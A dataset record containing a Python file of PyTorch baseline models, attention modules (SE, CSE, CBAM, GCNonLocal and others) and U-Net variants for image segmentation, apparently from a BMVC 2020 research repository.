hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
201bf9811585a20030e86bd0792c13eeffde0a38 | 48,405 | py | Python | NNBaselines.py | moucheng2017/Pay_Attention_To_Mistakes | e15de6a407d2375d9ad14482af2ae711e81124f8 | [
"RSA-MD"
] | 2 | 2021-04-12T07:11:26.000Z | 2021-12-01T12:07:45.000Z | NNBaselines.py | moucheng2017/PayAttentionToMistakes_BMVC2020 | e15de6a407d2375d9ad14482af2ae711e81124f8 | [
"RSA-MD"
] | null | null | null | NNBaselines.py | moucheng2017/PayAttentionToMistakes_BMVC2020 | e15de6a407d2375d9ad14482af2ae711e81124f8 | [
"RSA-MD"
] | null | null | null | import torch
import torch.nn as nn
import torch.nn.functional as F
# ==============
# Basic modules:
# ==============
def first_conv(in_channels, out_channels, step):
return nn.Sequential(
nn.Conv2d(in_channels, out_channels, 5, stride=step, padding=2, groups=1, bias=False),
nn.InstanceNorm2d(out_channels, affine=True),
nn.ReLU(inplace=True)
)
def single_conv(in_channels, out_channels, step):
#
return nn.Sequential(
nn.Conv2d(in_channels, out_channels, 3, stride=step, padding=1, groups=1, bias=False),
nn.InstanceNorm2d(out_channels, affine=True),
nn.ReLU(inplace=True)
)
def double_conv(in_channels, out_channels, step):
return nn.Sequential(
nn.Conv2d(in_channels, out_channels, 3, stride=step,
padding=1, groups=1, bias=False),
nn.InstanceNorm2d(out_channels, affine=True),
nn.ReLU(inplace=True),
nn.Conv2d(out_channels, out_channels, 3, stride=1,
padding=1, groups=1, bias=False),
nn.InstanceNorm2d(out_channels, affine=True),
nn.ReLU(inplace=True)
)
def dilated_conv(in_channels, out_channels, step, dilation):
return nn.Sequential(
nn.Conv2d(in_channels, out_channels, 3, stride=step, padding=dilation, groups=1, dilation=dilation, bias=False),
nn.InstanceNorm2d(out_channels, affine=True),
nn.ReLU(inplace=True),
nn.Conv2d(out_channels, out_channels, 3, stride=1, padding=dilation, groups=1, dilation=dilation, bias=False),
nn.InstanceNorm2d(out_channels, affine=True),
nn.ReLU(inplace=True)
)
# ==================
# Attention modules:
# ==================
class Attention_block(nn.Module):
# Attention Unet
# references:
# Learn to Pay Attention, ICLR 2018
# Attention U-Net: Learning Where to Look for the Pancreas, MIDL 2018
def __init__(self, F_g, F_l):
super(Attention_block, self).__init__()
self.W_g = nn.Sequential(
nn.Conv2d(F_g, F_l // 2, kernel_size=1, stride=1, padding=0, bias=True),
nn.InstanceNorm2d(F_l // 2, affine=False)
)
self.W_x = nn.Sequential(
nn.Conv2d(F_l, F_l // 2, kernel_size=1, stride=1, padding=0, bias=True),
nn.InstanceNorm2d(F_l // 2, affine=False)
)
self.psi = nn.Sequential(
nn.Conv2d(F_l // 2, 1, kernel_size=1, stride=1, padding=0, bias=True),
nn.InstanceNorm2d(1, affine=False),
nn.Sigmoid()
)
self.relu = nn.ReLU(inplace=True)
def forward(self, g, x):
g1 = self.W_g(g)
x1 = self.W_x(x)
psi = self.relu(g1 + x1)
psi = self.psi(psi)
return psi
class SE(nn.Module):
# Squeeze-and-Excitation Networks, CVPR 2018
def __init__(self, channel_no):
super(SE, self).__init__()
self.avg_pool = nn.AdaptiveAvgPool2d(1)
self.squeeze = nn.Conv2d(channel_no, channel_no // 8, kernel_size=1, padding=0, bias=False)
self.relu = nn.ReLU(inplace=True)
self.expand = nn.Conv2d(channel_no // 8, channel_no, kernel_size=1, padding=0, bias=False)
self.sigmoid = nn.Sigmoid()
def forward(self, x):
xx = self.avg_pool(x)
channel_attention = self.sigmoid(self.expand(self.relu(self.squeeze(xx))))
output = x*channel_attention + x
return output
class CSE(nn.Module):
# Spatial and channel squeeze
# concurrent spatial and channel squeeze MICCAI 2018
def __init__(self, channel_no):
super(CSE, self).__init__()
self.avg_pool = nn.AdaptiveAvgPool2d(1)
self.squeeze = nn.Conv2d(channel_no, channel_no // 8, kernel_size=1, padding=0, bias=False)
self.relu = nn.ReLU(inplace=True)
self.expand = nn.Conv2d(channel_no // 8, channel_no, kernel_size=1, padding=0, bias=False)
self.sigmoid = nn.Sigmoid()
#
self.spatial_squeeze = nn.Conv2d(channel_no, 1, kernel_size=1, padding=0, bias=False)
self.sigmoid = nn.Sigmoid()
def forward(self, x):
#
spatial_attention = self.sigmoid(self.spatial_squeeze(x)) * x
#
channel_attention = self.sigmoid(self.expand(self.relu(self.squeeze(self.avg_pool(x))))) * x
output = spatial_attention + channel_attention
#
return output
class GE(nn.Module):
# Gather Excite: exploiting feature context in convolutional neural network, NIPS 2018
def __init__(self, channel_no):
super(GE, self).__init__()
self.squeeze_spatial_1 = nn.Conv2d(channel_no, channel_no, kernel_size=3, padding=1, stride=2, bias=False, groups=channel_no)
self.squeeze_spatial_1_norm = nn.InstanceNorm2d(channel_no, affine=True)
self.squeeze_spatial_2 = nn.Conv2d(channel_no, channel_no, kernel_size=3, padding=1, stride=2, bias=False, groups=channel_no)
self.squeeze_spatial_2_norm = nn.InstanceNorm2d(channel_no, affine=True)
# self.squeeze_spatial_3 = nn.Conv2d(channel_no, channel_no, kernel_size=3, padding=1, stride=2, bias=False, groups=channel_no)
# self.squeeze_spatial_3_norm = nn.InstanceNorm2d(channel_no, affine=True)
self.interpolate = nn.Upsample(scale_factor=4, mode='nearest')
self.sigmoid = nn.Sigmoid()
def forward(self, x):
attention = self.sigmoid(self.interpolate(self.squeeze_spatial_2_norm(self.squeeze_spatial_2(self.squeeze_spatial_1_norm(self.squeeze_spatial_1(x))))))
output = x*attention + x
return output
class CBAM(nn.Module):
# Convolutional block attention module, ECCV 2018
def __init__(self, channel_no):
super(CBAM, self).__init__()
self.avg_pool_channel = nn.AdaptiveAvgPool2d(1)
self.max_pool_channel = nn.AdaptiveMaxPool2d(1)
self.fc1 = nn.Conv2d(channel_no, channel_no // 16, 1, bias=False)
self.relu1 = nn.ReLU()
self.fc2 = nn.Conv2d(channel_no // 16, channel_no, 1, bias=False)
self.sigmoid_c = nn.Sigmoid()
#
self.conv_spatial = nn.Conv2d(2, 1, 3, padding=1, bias=False)
self.sigmoid_s = nn.Sigmoid()
def forward(self, x):
# channel attention:
origin = x
avg_c = self.fc2(self.relu1(self.fc1(self.avg_pool_channel(x))))
max_c = self.fc2(self.relu1(self.fc1(self.max_pool_channel(x))))
a_c = self.sigmoid_c((avg_c + max_c))
x = x*a_c
# spatial attention:
avg_out = torch.mean(x, dim=1, keepdim=True)
max_out, _ = torch.max(x, dim=1, keepdim=True)
attention = torch.cat([avg_out, max_out], dim=1)
attention = self.conv_spatial(attention)
attention = self.sigmoid_s(attention)
output = attention*x + origin
return output
class GCNonLocal(nn.Module):
# GCNet: Non-local Networks Meet Squeeze-Excitation Networks and Beyond, arXiv
def __init__(self, channel_no):
super(GCNonLocal, self).__init__()
self.conv_reduce = nn.Conv2d(channel_no, 1, kernel_size=1, padding=0, bias=False)
self.softmax = nn.Softmax(dim=1)
self.squeeze = nn.Conv2d(channel_no, channel_no // 8, kernel_size=1, padding=0, bias=False)
self.norm = nn.InstanceNorm2d(channel_no // 8, affine=True)
self.relu = nn.ReLU(inplace=True)
self.expand = nn.Conv2d(channel_no // 8, channel_no, kernel_size=1, padding=0, bias=False)
def forward(self, x):
b, c, h, w = x.shape
xx = self.conv_reduce(x)
xx = xx.view(b, h*w, 1)
xx = self.softmax(xx)
x_ = x.view(b, c, h*w)
xxx = torch.bmm(x_, xx)
xxx = xxx.view(b, c, 1, 1)
attention = self.expand(self.relu(self.norm(self.squeeze(xxx))))
output = attention*x + x
return output
class DilatedUNet(nn.Module):
# baseline 1:
# u-net
# dilation in encoder:
def __init__(self, in_ch, width, dilation):
super().__init__()
class_no = 2
#
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
#
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.dconv_down2 = dilated_conv(self.w1, self.w2, step=2, dilation=dilation)
self.dconv_down3 = dilated_conv(self.w2, self.w3, step=2, dilation=dilation)
self.dconv_down4 = dilated_conv(self.w3, self.w4, step=2, dilation=dilation)
#
self.bridge = double_conv(self.w4, self.w4, step=1)
#
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
#
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.dconv_down1(x)
conv2 = self.dconv_down2(conv1)
conv3 = self.dconv_down3(conv2)
conv4 = self.dconv_down4(conv3)
conv4 = self.bridge(conv4)
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.dconv_up3(x)
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.dconv_up2(x)
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.dconv_up1(x)
out = self.conv_last(x)
return out
# ============================
class CSE_UNet_Encoder(nn.Module):
#
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
#
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.cse_1 = CSE(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.cse_2 = CSE(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.cse_3 = CSE(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
#
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.cse_1(self.dconv_down1(x))
conv2 = self.cse_2(self.dconv_down2(conv1))
conv3 = self.cse_3(self.dconv_down3(conv2))
conv4 = self.dconv_down4(conv3)
conv4 = self.bridge(conv4)
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.dconv_up3(x)
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.dconv_up2(x)
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.dconv_up1(x)
out = self.conv_last(x)
return out
class CSE_UNet_Full(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.cse_1 = CSE(self.w1)
self.cse_u1 = CSE(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.cse_2 = CSE(self.w2)
self.cse_u2 = CSE(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.cse_3 = CSE(self.w3)
self.cse_u3 = CSE(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
#
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.cse_1(self.dconv_down1(x))
conv2 = self.cse_2(self.dconv_down2(conv1))
conv3 = self.cse_3(self.dconv_down3(conv2))
conv4 = self.dconv_down4(conv3)
conv4 = self.bridge(conv4)
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.cse_u3(self.dconv_up3(x))
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.cse_u2(self.dconv_up2(x))
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.cse_u1(self.dconv_up1(x))
out = self.conv_last(x)
return out
class Deeper_CSE_UNet_Full(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up0 = double_conv(self.w1 + self.w1, self.w1, step=1)
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.cse_1 = CSE(self.w1)
self.cse_u1 = CSE(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.cse_2 = CSE(self.w2)
self.cse_u2 = CSE(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.cse_3 = CSE(self.w3)
self.cse_u3 = CSE(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
#
self.dconv_down0 = first_conv(in_ch, self.w1, step=1)
self.dconv_down1 = double_conv(self.w1, self.w1, step=2)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv0 = self.dconv_down0(x)
conv1 = self.cse_1(self.dconv_down1(conv0))
conv2 = self.cse_2(self.dconv_down2(conv1))
conv3 = self.cse_3(self.dconv_down3(conv2))
conv4 = self.dconv_down4(conv3)
conv4 = self.bridge(conv4)
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.cse_u3(self.dconv_up3(x))
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.cse_u2(self.dconv_up2(x))
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.cse_u1(self.dconv_up1(x))
x = self.upsample(x)
x = torch.cat([x, conv0], dim=1)
x = self.dconv_up0(x)
out = self.conv_last(x)
return out
# ==================================
class GCNonLocal_UNet_All(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.se_1 = GCNonLocal(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.se_2 = GCNonLocal(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.se_3 = GCNonLocal(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.se_4 = GCNonLocal(self.w4)
#
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.se_1_d = GCNonLocal(self.w1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.se_2_d = GCNonLocal(self.w2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.se_3_d = GCNonLocal(self.w3)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.se_1(self.dconv_down1(x))
conv2 = self.se_2(self.dconv_down2(conv1))
conv3 = self.se_3(self.dconv_down3(conv2))
conv4 = self.dconv_down4(conv3)
conv4 = self.se_4(self.bridge(conv4))
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.se_3_d(self.dconv_up3(x))
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.se_2_d(self.dconv_up2(x))
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.se_1_d(self.dconv_up1(x))
out = self.conv_last(x)
return out
class GCNonLocal_UNet_Decoder(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.se_1 = GCNonLocal(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.se_2 = GCNonLocal(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.se_3 = GCNonLocal(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.dconv_down1(x)
conv2 = self.dconv_down2(conv1)
conv3 = self.dconv_down3(conv2)
conv4 = self.dconv_down4(conv3)
conv4 = self.bridge(conv4)
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.se_3(self.dconv_up3(x))
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.se_2(self.dconv_up2(x))
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.se_1(self.dconv_up1(x))
out = self.conv_last(x)
return out
class GCNonLocal_UNet_Encoder(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.se_1 = GCNonLocal(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.se_2 = GCNonLocal(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.se_3 = GCNonLocal(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.se_4 = GCNonLocal(self.w4)
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.se_1(self.dconv_down1(x))
conv2 = self.se_2(self.dconv_down2(conv1))
conv3 = self.se_3(self.dconv_down3(conv2))
conv4 = self.dconv_down4(conv3)
conv4 = self.se_4(self.bridge(conv4))
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.dconv_up3(x)
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.dconv_up2(x)
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.dconv_up1(x)
out = self.conv_last(x)
return out
# ============================
class CBAM_UNet_All(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.se_1 = CBAM(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.se_2 = CBAM(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.se_3 = CBAM(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.se_4 = CBAM(self.w4)
#
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.se_1_d = CBAM(self.w1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.se_2_d = CBAM(self.w2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.se_3_d = CBAM(self.w3)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.se_1(self.dconv_down1(x))
conv2 = self.se_2(self.dconv_down2(conv1))
conv3 = self.se_3(self.dconv_down3(conv2))
conv4 = self.dconv_down4(conv3)
conv4 = self.se_4(self.bridge(conv4))
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.se_3_d(self.dconv_up3(x))
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.se_2_d(self.dconv_up2(x))
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.se_1_d(self.dconv_up1(x))
out = self.conv_last(x)
return out
class Deeper_CBAM_UNet_All(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up0 = first_conv(self.w1 + self.w1, self.w1, step=1)
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.se_1 = CBAM(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.se_2 = CBAM(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.se_3 = CBAM(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.se_4 = CBAM(self.w4)
#
self.dconv_down0 = first_conv(in_ch, self.w1, step=1)
self.dconv_down1 = double_conv(self.w1, self.w1, step=2)
self.se_1_d = CBAM(self.w1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.se_2_d = CBAM(self.w2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.se_3_d = CBAM(self.w3)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv0 = self.dconv_down0(x)
conv1 = self.se_1(self.dconv_down1(conv0))
conv2 = self.se_2(self.dconv_down2(conv1))
conv3 = self.se_3(self.dconv_down3(conv2))
conv4 = self.dconv_down4(conv3)
conv4 = self.se_4(self.bridge(conv4))
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.se_3_d(self.dconv_up3(x))
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.se_2_d(self.dconv_up2(x))
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.se_1_d(self.dconv_up1(x))
x = self.upsample(x)
x = torch.cat([x, conv0], dim=1)
x = self.dconv_up0(x)
out = self.conv_last(x)
return out
class CBAM_UNet_Decoder(nn.Module):
def __init__(self, in_ch, width):
super().__init__()
class_no = 2
if class_no > 2:
self.final_in = class_no
else:
self.final_in = 1
self.w1 = width
self.w2 = width * 2
self.w3 = width * 4
self.w4 = width * 8
#
self.dconv_up1 = double_conv(self.w1 + self.w2, self.w1, step=1)
self.se_1 = CBAM(self.w1)
self.dconv_up2 = double_conv(self.w2 + self.w3, self.w2, step=1)
self.se_2 = CBAM(self.w2)
self.dconv_up3 = double_conv(self.w3 + self.w4, self.w3, step=1)
self.se_3 = CBAM(self.w3)
self.bridge = double_conv(self.w4, self.w4, step=1)
self.dconv_down1 = double_conv(in_ch, self.w1, step=1)
self.dconv_down2 = double_conv(self.w1, self.w2, step=2)
self.dconv_down3 = double_conv(self.w2, self.w3, step=2)
self.dconv_down4 = double_conv(self.w3, self.w4, step=2)
#
self.max_pool = nn.MaxPool2d(2)
self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv_last = nn.Conv2d(width, self.final_in, 1, bias=False)
def forward(self, x):
conv1 = self.dconv_down1(x)
conv2 = self.dconv_down2(conv1)
conv3 = self.dconv_down3(conv2)
conv4 = self.dconv_down4(conv3)
conv4 = self.bridge(conv4)
x = self.upsample(conv4)
x = torch.cat([x, conv3], dim=1)
x = self.se_3(self.dconv_up3(x))
x = self.upsample(x)
x = torch.cat([x, conv2], dim=1)
x = self.se_2(self.dconv_up2(x))
x = self.upsample(x)
x = torch.cat([x, conv1], dim=1)
x = self.se_1(self.dconv_up1(x))
out = self.conv_last(x)
return out
